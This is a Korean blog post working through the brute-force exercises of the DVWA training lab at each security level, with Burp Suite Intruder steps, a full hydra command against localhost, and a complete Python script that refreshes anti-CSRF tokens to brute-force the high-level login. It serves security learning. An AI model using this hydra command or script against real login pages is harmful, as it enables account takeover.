웹 보안/DVWA 실습

[DVWA 실습] Brute Force Attack

제나나 2025. 1. 15. 20:00
반응형

[DVWA 실습] Brute Force Attack


📌 1. Low Level

✔ 공격 대상 : 로그인 페이지

👉 brute force 공격을 해야 하는 로그인 페이지. 무작위로 대입하여 Username이랑 Password를 얻어내면 된다.


✔ 공격 도구 : `Burp Suite` 도구를 이용하여 무차별 공격

 

1. Burp Suite를 통해서 Proxy 설정을 한다.

 

2. Proxy 설정 후 `Intercept`를 하게 되면, HTTP Request 되는 패킷을 확인할 수 있다.

👉 GET 방식으로 `username`과 `password` 파라미터 값이 전달 된다.

 

3. Intruder 이용하기

- Proxy에서 HTTP history에서 원하는 요청의 오른쪽 마우스 클릭 → `Send to Intruder` 클릭

- `Intruder` → `Positions`에서 무차별 공격에 필요한 인자만 선택하면 되고, 값이 변하는 곳에 `$`가 앞뒤로 들어가도록 설정한다.

👉 여기서는 `username`이랑 `password`의 값으로 들어갈 곳을 선택하면 된다.

 

 

 4. `Payloads`에서 공격하는 방법 2가지

1) 모든 경우의 수를 대입하는 `Brute forcer` 이용하기 (Brute Force 공격)

👉 단점 : 모든 경우의 수를 대입하므로 시간이 많이 든다.

2) 미리 작성된 자주 사용하는 암호가 저장된 `Simple list` 이용하기 (Dictionary 공격)

👉 장점: 모든 경우의 수를 대입하는 것보다 빠르게 값을 찾을 수 있음.

👉 단점: dictonary에 없는 경우 값을 찾을 수 없음.


1) `Brute forcer` 

👉 `username`와 `password`에 대한 정보가 전혀 없기 때문에 `simple list`를 이용해 공격을 하였다.

 

2) `Simple list` 이용하기

`Payload Options [Simpe list]` 항목에 인터넷에 떠도는 dictionary 파일을 넣어서 dictionary list를 구성했다.

* (참고) payload set을 2개로 설정하면, username이랑 password 각각에 대해 dictionary를 이용할 수 있음

 

✈ 공격 시작 'start attack'

공격 중에 username이 admin이고, password가 password일 때만 Length의 길이가 다른 걸 확인할 수 있다.

👉 로그인 성공했을 때 5524 bytes이고, 실패했을 때 5465 bytes인 걸로 추정이 가능하다.

 

 

`admin`/`password`로 로그인을 시도하면,

성공! 😀

 

✔ 공격 도구 : `hydra` 도구를 이용하여 무차별 공격

hydra는 네트워크 서비스나  웹 애플리케이션에서 무차별 대입 공격을 수행하기 위해서 설계된 오픈 소스 도구.

[사용법]
hydra [옵션] 서비스://타켓
[주요 옵션]
- l  아이디
- L 아이디 리스트 파일
- p 비밀번호
- P 비밀번호 사전파일
F=: 로그인 실패 메시지
S=: 로그인 성공 메시지
H=: 헤더
-v : 자세히
-V : login+pass 보여줌
-f : 비밀번호를 발견하면 종료
-t : 동시에 실행하는 작업수 (기본값 16)

 

hydra -L ~/study/id.txt -P ~/study/passwords_quick.txt localhost http-get-form "/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:Username and/or password incorrect.:H=Cookie: security=low; PHPSESSID=mtnakaa2ob8drdr68rc8edbum3" -V -f

-L ~/study/id.txt : 사용자 이름 목록 파일 경로

-P ~/study/passwords_quick.txt : 비밀번호 목록 파일 경로

localhost : 공격 대상의 주소

http-get-form : HTTP GET 요청

username=^USER^&password=^PASS^&Login=Login : 로그인 폼에 전송될 데이터 (^USER^는 사용자 이름 목록에서 하나씩 대체되고, ^PASS^는 비밀번호 목록에서 하니씩 대체)


📌 2. Medium Level

low level과 앞의 과정을 동일하게 하면 같은 결과를 얻을 수 있다.

 

✔ low level과의 차이점은 계정 정보를 얻는데 시간이 더 오래 걸린다는 것이다.

👉 `sleep(2);` 함수가 실행되어 login failed시 2초의 대기시간이 발생한다.


📌 3. High Level

 

👉 low level이랑 medium level처럼 공격을 시도하면, 기존과 다르게 Status code 302가 뜬다. 302 HTTP 응답 상태 코드는, 클라이언트가 요청한 리소스가 임시적으로 다른 URL로 이동되었음을 나타낸다. 이는 임시 리다이렉션을 의미하며, 클라이언트는 새 URL로 요청을 보내야 한다.

302 상태 코드의 주요 특징
- 임시 이동: 서버가 클라이언트를 새 URL로 이동시키지만, 원래 URL은 여전히 유효합니다.
- 클라이언트 동작: 클라이언트(웹 브라우저)는 보통 Location 헤더에 지정된 새 URL로 자동 요청을 보냅니다.
- HTTP 메서드 유지: 클라이언트는 원래 요청의 HTTP 메서드(GET, POST 등)를 유지합니다. 하지만 일부 브라우저는 POST 요청을 GET 요청으로 변경할 수 있습니다(비표준 동작).

 

로그인 페이지에서 로그인을 시도하면 `CSRF token is incorrect`라는 메시지가 뜬다. CSRF token이 설정되어 있어 매번 로그인 시 token 값이 달라지지만, `Brup Suite`로 공격을 시도하면 token값이 로그인 할때마다 같기 때문에 오류(302)가 발생한 것이다.

CSRF token

CSRF(Cross-Site Request Forgery) 공격을 방지하기 위해 웹 애플리케이션에서 사용하는 보안 메커니즘.
CSRF 토큰은 사용자가 의도하지 않은 악의적인 요청을 방지하기 위해서 클라이언트와 서버 간의 요청에서 유효성을 검증하는 데 사용된다. 
토큰 생성 : 클라이언트가 서버에 처음 요청했을 때, 서버가 고유한 CSRF 토큰을 생성해서 클라이언트에 거 전송
토큰 전송 : 클라이언트가 이후의 요청에 CSRF 토큰을 포함해서 전송
토큰 검증 : 서버는 요청에서 받은 토큰과 세션에 저장된 토큰을 비교. 일치하지 않거나 없는 경우 요청을 차단

 

`Burp Suite`로 Request를 확인해보면, 토큰값이 계속 바뀌기 때문에, 기존에 low level, medium level에서 시도했던 brute force 공격이 제대로 작동하지 않는다는 것을 알수 있다.


👉 그렇기 때문에, high level에서 해야 할 것은 매번 로그인마다 유효한 토근을 제공해 주어야 한다. `burp suite`에서는 해당 기능을 수행할 수 없기 때문에, 매번 바뀌는 토큰 값을 넣어주는 자동화된 스크립트를 작성해야한다. (역시... High level)

 

작성된 Python 코드 :

#!/usr/bin/python
# Quick PoC template for HTTP GET form brute force with CSRF token
# Target: DVWA v1.10 (Brute Force - High)
#   Date: 2015-11-07
# Author: g0tmi1k ~ https://blog.g0tmi1k.com/
# Source: https://blog.g0tmi1k.com/dvwa/bruteforce-high/

import requests
import sys
import re
from BeautifulSoup import BeautifulSoup


# Variables
target = 'http://localhost/dvwa'
sec_level = 'high'
dvwa_user = 'admin'
dvwa_pass = 'password'
user_list = 'id.txt'
pass_list = 'passwords_quick.txt'


# Value to look for in response header (Whitelisting)
success = 'Welcome to the password protected area'


# Get the anti-CSRF token
def csrf_token(path,cookie=''):
    try:
        # Make the request to the URL
        #print "\n[i] URL: %s/%s" % (target, path)
        r = requests.get("{0}/{1}".format(target, path), cookies=cookie, allow_redirects=False)

    except:
        # Feedback for the user (there was an error) & Stop execution of our request
        print "\n[!] csrf_token: Failed to connect (URL: %s/%s).\n[i] Quitting." % (target, path)
        sys.exit(-1)

    # Extract anti-CSRF token
    soup = BeautifulSoup(r.text)
    user_token = soup("input", {"name": "user_token"})[0]["value"]
    #print "[i] user_token: %s" % user_token

    # Extract session information
    session_id = re.match("PHPSESSID=(.*?);", r.headers["set-cookie"])
    session_id = session_id.group(1)
    #print "[i] session_id: %s" % session_id

    return session_id, user_token


# Login to DVWA core
def dvwa_login(session_id, user_token):
    # POST data
    data = {
        "username": dvwa_user,
        "password": dvwa_pass,
        "user_token": user_token,
        "Login": "Login"
    }

    # Cookie data
    cookie = {
        "PHPSESSID": session_id,
        "security": sec_level
    }

    try:
        # Make the request to the URL
        print "\n[i] URL: %s/login.php" % target
        print "[i] Data: %s" % data
        print "[i] Cookie: %s" % cookie
        r = requests.post("{0}/login.php".format(target), data=data, cookies=cookie, allow_redirects=False)

    except:
        # Feedback for the user (there was an error) & Stop execution of our request
        print "\n\n[!] dvwa_login: Failed to connect (URL: %s/login.php).\n[i] Quitting." % (target)
        sys.exit(-1)

    # Wasn't it a redirect?
    if r.status_code != 301 and r.status_code != 302:
        # Feedback for the user (there was an error again) & Stop execution of our request
        print "\n\n[!] dvwa_login: Page didn't response correctly (Response: %s).\n[i] Quitting." % (r.status_code)
        sys.exit(-1)

    # Did we log in successfully?
    if r.headers["Location"] != 'index.php':
        # Feedback for the user (there was an error) & Stop execution of our request
        print "\n\n[!] dvwa_login: Didn't login (Header: %s  user: %s  password: %s  user_token: %s  session_id: %s).\n[i] Quitting." % (
          r.headers["Location"], dvwa_user, dvwa_pass, user_token, session_id)
        sys.exit(-1)

    # If we got to here, everything should be okay!
    print "\n[i] Logged in! (%s/%s)\n" % (dvwa_user, dvwa_pass)
    return True


# Make the request to-do the brute force
def url_request(username, password, user_token, session_id):
    # GET data
    data = {
        "username": username,
        "password": password,
        "user_token": user_token,
        "Login": "Login"
    }

    # Cookie data
    cookie = {
        "PHPSESSID": session_id,
        "security": sec_level
    }

    try:
        # Make the request to the URL
        #print "\n[i] URL: %s/vulnerabilities/brute/" % target
        #print "[i] Data: %s" % data
        #print "[i] Cookie: %s" % cookie
        r = requests.get("{0}/vulnerabilities/brute/".format(target), params=data, cookies=cookie, allow_redirects=False)

    except:
        # Feedback for the user (there was an error) & Stop execution of our request
        print "\n\n[!] url_request: Failed to connect (URL: %s/vulnerabilities/brute/).\n[i] Quitting." % (target)
        sys.exit(-1)

    # Was it a ok response?
    if r.status_code != 200:
        # Feedback for the user (there was an error again) & Stop execution of our request
        print "\n\n[!] url_request: Page didn't response correctly (Response: %s).\n[i] Quitting." % (r.status_code)
        sys.exit(-1)

    # We have what we need
    return r.text


# Main brute force loop
def brute_force(session_id):
    # Load in wordlists files
    with open(pass_list) as password:
        password = password.readlines()
    with open(user_list) as username:
        username = username.readlines()

    # Counter
    i = 0

    # Loop around
    for PASS in password:
        for USER in username:
            USER = USER.rstrip('\n')
            PASS = PASS.rstrip('\n')

            # Increase counter
            i += 1
            # Feedback for the user
            print ("[i] Try %s: %s // %s" % (i, USER, PASS))

            # Get CSRF token
            session_id, user_token = csrf_token('/vulnerabilities/brute/', {"PHPSESSID": session_id})

            # Make request
            attempt = url_request(USER, PASS, user_token, session_id)
            #print attempt

            # Check response
            if success in attempt:
                print ("\n\n[i] Found!")
                print "[i] Username: %s" % (USER)
                print "[i] Password: %s" % (PASS)
                return True
    return False


# Get initial CSRF token
session_id, user_token = csrf_token('login.php')


# Login to web app
dvwa_login(session_id, user_token)


# Start brute forcing
brute_force(session_id)

 

✔ 코드 출처 : https://blog.g0tmi1k.com/dvwa/bruteforce-high/

 

DVWA - Brute Force (High Level) - Anti-CSRF Tokens - g0tmi1k

This is the final "how to" guide which brute focuses Damn Vulnerable Web Application (DVWA), this time on the high security level. It is an expansion from the "low" level (which is a straightforward HTTP GET form attack). The main login screen shares simil

blog.g0tmi1k.com


위의 코드를 실행하면, `Username`과 `Password` 획득이 가능하다.

 

 


📌 4. Impossible Level

로그인에 한번 실패하며, 15분 뒤에 로그인 시도가 가능하다.

사실상 brute force 공격 시간이 너무 많이 들기 때문에 성공하는 것은 불가능에 가깝다고 볼 수 있다.


 

반응형